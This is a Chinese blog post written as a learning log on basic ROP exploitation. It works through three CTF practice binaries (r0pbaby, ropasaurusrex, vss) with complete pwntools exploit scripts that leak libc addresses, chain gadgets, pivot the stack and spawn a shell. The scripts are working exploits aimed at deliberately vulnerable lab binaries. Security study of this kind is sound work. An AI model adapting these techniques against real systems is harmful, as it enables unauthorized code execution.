风之栖息地

基础ROP学习

字数统计: 2.5k阅读时长: 11 min
2019/07/26 Share

最近开始入门pwn,在白泽新手oj那里学了一波之后开始自己学剩下的内容。看到atum大佬推荐的三道基础ROP题目,就练习一下,学习思路总结经验。在网上找题的过程中发现vss基本上绝迹了。。。辛苦一番之后终于找到,为了后面的人也能快速找到题目我就把三道题一起上传了。

http://hurricane618.me/resource/basic-rop/vss

http://hurricane618.me/resource/basic-rop/ropasaurusrex

http://hurricane618.me/resource/basic-rop/r0pbaby

r0pbaby

一道强化版的入门栈溢出,其中比较有意思的一点是栈溢出需要至少0x440才行,然而这个值为1088,但是题目里面限制了长度最大为1024,所以我们可以知道这里不能用填充数据的方法来实现控制流的劫持。(大雾?)

看了一眼wp才发现……我就是一个sb

在上图我们可以看到如果超过限制的1024就会输出非法提示,在另外一边它会逐字节的读入字符并把它们顺序的保存进nptr这个变量中,在最后使用memcpy函数把保存的字符串复制到savedregs这个标记中,我们双击这个标记就可以跳转到栈位置中。

而这个位置刚好就是old rbp的值,所以我们只需要覆盖掉8个字节就能溢出。溢出之后接上gadget和参数以及system的地址就能完成操作。

这里需要注意的一点是,由于程序开启了地址随机化,所以不能找程序中的gadget,只能找libc中的gadget,因为libc的基地址是可以算出来的,所以最终也是能算出libc中的gadget。

就这样再libc中找到gadget和binsh字符串,混合着写出payload,这里还需要注意的一点是libc的地址不等于libc的基地址,基地址是用来推算libc函数用的起始地址,libc的地址应该是libc的加载地址,中间应该还有一些其他的数据。

最后还有一点,就是这种有一直循环的程序运行时,我们getshell之后,相当于是开了一个子进程,需要将原来的进程退掉,才能进入shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.log_level = "debug"

sh = process("./r0pbaby")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rdi_ret_offset = 0x21102
binsh_offset = libc.search("/bin/sh").next()

#sh.recvuntil(": ")
#sh.sendline("1")
#sh.recvuntil(": ")
#libc_addr = int(sh.recvuntil("\n").strip(), 16)

sh.recvuntil(": ")
sh.sendline("2")
sh.recvuntil(": ")
sh.sendline("system")
sh.recvuntil(": ")
system_addr = int(sh.recvuntil("\n").strip(), 16)
libc_addr = system_addr - libc.symbols['system']
rdi_ret = libc_addr + rdi_ret_offset
binsh = libc_addr + binsh_offset

sh.recvuntil(": ")
sh.sendline("3")
sh.recvuntil(": ")
sh.sendline("33")
payload = 0x8*'a'
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(system_addr)
#print sh.pid
#pause()
sh.sendline(payload)
sh.sendline("4")
sh.interactive()

ropasaurusrex

很明显的栈溢出,查看检查只有堆栈执行保护。

简单观察程序,发现没有system,只有read和write,也没有/bin/sh,32位的小端程序。思路还是比较清晰的,这个和之前白泽的题目比较类似,需要使用write把地址泄露出来,然后计算得到libc基地址,在这之后就有两种思路了。

第一种,寻找libc上面的/bin/sh。第二种,通过read写入/bin/sh在bss段中。最后都要使用计算出的system来执行。

所以,我这里为了不那么麻烦,就直接使用libc里面的字符串了。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.log_level = 'debug'
sh = process("./ropasaurusrex")

libc = ELF("/lib32/libc.so.6")
program = ELF("./ropasaurusrex")
got_write = program.got['write']
plt_write = program.symbols['write']
plt_read = program.symbols['read']
main_addr = 0x0804841d

payload1 = 0x88*'a' + 4*'b'
payload1 += p32(plt_write)
payload1 += p32(main_addr)
payload1 += p32(1)
payload1 += p32(got_write)
payload1 += p32(4)

sh.sendline(payload1)
write_addr = u32(sh.recv(4))
libc_base = write_addr - libc.symbols['write']
binsh = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.symbols['system']

payload2 = 0x88*'a' + 4*'b'
payload2 += p32(system_addr)
payload2 += p32(0)
payload2 += p32(binsh)

sh.sendline(payload2)

sh.interactive()

在做题的过程中发现了一个小问题,也就是main的符号也不是每次都有的,所以在使用的过程中最好还是直接写main函数的地址比较好。

vss

64位程序,同时程序保护只有堆栈不可执行。静态编译果然有点小麻烦,并且所有的符号还被去除了。

这里通过经验可以知道start的程序入口处最后的call会调用__libc_start_main,同时上面的offset处一定是main函数。找到之后按n键可以修改函数名,这样就方便很多了。也可以通过搜索字符串,然后查看引用地址来锁定main函数。

随后通过汇编中的call,来定位调用函数的地址,通过eax的赋值和旁边syscall的提示来把推断具体的函数。

在理清楚程序之后,简单来说程序会先读入0x400字节大小的数据进入缓冲区会判断前两个字符是否为py,然后进入另外一个函数中,在这个函数中会将缓冲区其中的前0x50个字节的数据读入另外一个只有0x40的缓冲区中。这就是很明显的缓冲区溢出,但是有一点我们的溢出数据只有0x10,也就是说除了覆盖rbp之外,就只能覆盖掉ret地址。

这里用到了stack pivot,就是劫持栈指针到其他我们可控的地方这样就能执行我们想要的指令。这里虽然第二个函数的缓冲区不够用,但是我们的第一个缓冲区能够输入足够多的数据,所以我们可以找到一个增加栈指针的gadget让返回之后的rsp能够指向我们的rop链。

这里是找到了一个可以增加0x58 rsp的gadget,这样我们填充前0x50的数据之后还有剩余,再填充8个字节的数据之后,再接上rop链就能像前面一样的getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045f2a5) # syscall ; ret
addRspRet = 0x000000000046f205
payload = 'py'+'a'*(0x48-0x2)+p64(addRspRet)+'a'*(0x58-0x50)+p
p = process('vss')
#pause()
p.recvuntil(":\n")

p.send(payload)
#pause()
p.interactive()

这也是第一次能直接用ROPgadget直接生成rop链,23333。

如果考虑手工构造的话,这里没有write,所以也不能泄露地址,libc的binsh是没有办法了,只能依靠read来读入binsh的数据,然后调用syscall来执行shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import time

context.log_level = 'debug'
sh = process("./vss")

vss = ELF("./vss")

rsi_ret = 0x401937
rdi_ret = 0x401823
rdx_ret = 0x43ae05
xor_rax_ret = 0x41bd1f
addRspRet = 0x46f205
syscall = 0x437eae
#syscall = 0x45f2a5
rax_ret = 0x46f208
bss_base = vss.bss()

payload = 'py' + 0x46*'a'
payload += p64(addRspRet)
payload += 8*'a'
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rsi_ret)
payload += p64(bss_base)
payload += p64(rdx_ret)
payload += p64(8)
payload += p64(xor_rax_ret)
payload += p64(syscall)
payload += p64(rax_ret)
payload += p64(0x3b)
payload += p64(rdi_ret)
payload += p64(bss_base)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(rdx_ret)
payload += p64(0)
payload += p64(syscall)

print sh.recvuntil(":\n")
sh.sendline(payload)
#time.sleep(1)
sh.sendline("/bin/sh\x00")

sh.interactive()

小结

学习完基本的ROP之后,也算是理解了其中的一些常规套路,有write和puts之类的有输出函数是可以泄露地址的,拿到地址配合libc就可以去计算我们想调用的函数地址。如果不能拿到地址,就利用ROP链来构造syscall,其中binsh的值可以用read来写入空闲区块,一般是bss段。

最后一道题vss,也学到很多分析静态链接程序的技巧受用很多,比如在分析main函数的时候可以用入口点的特征也可以用字符串的交叉引用(交叉引用是个好东西,很多时候解决很多麻烦)。同时学会了一点花式栈溢出技巧,劫持栈指针到我们可控的区域中来执行指令。

CATALOG
  1. 1. r0pbaby
  2. 2. ropasaurusrex
  3. 3. vss
  4. 4. 小结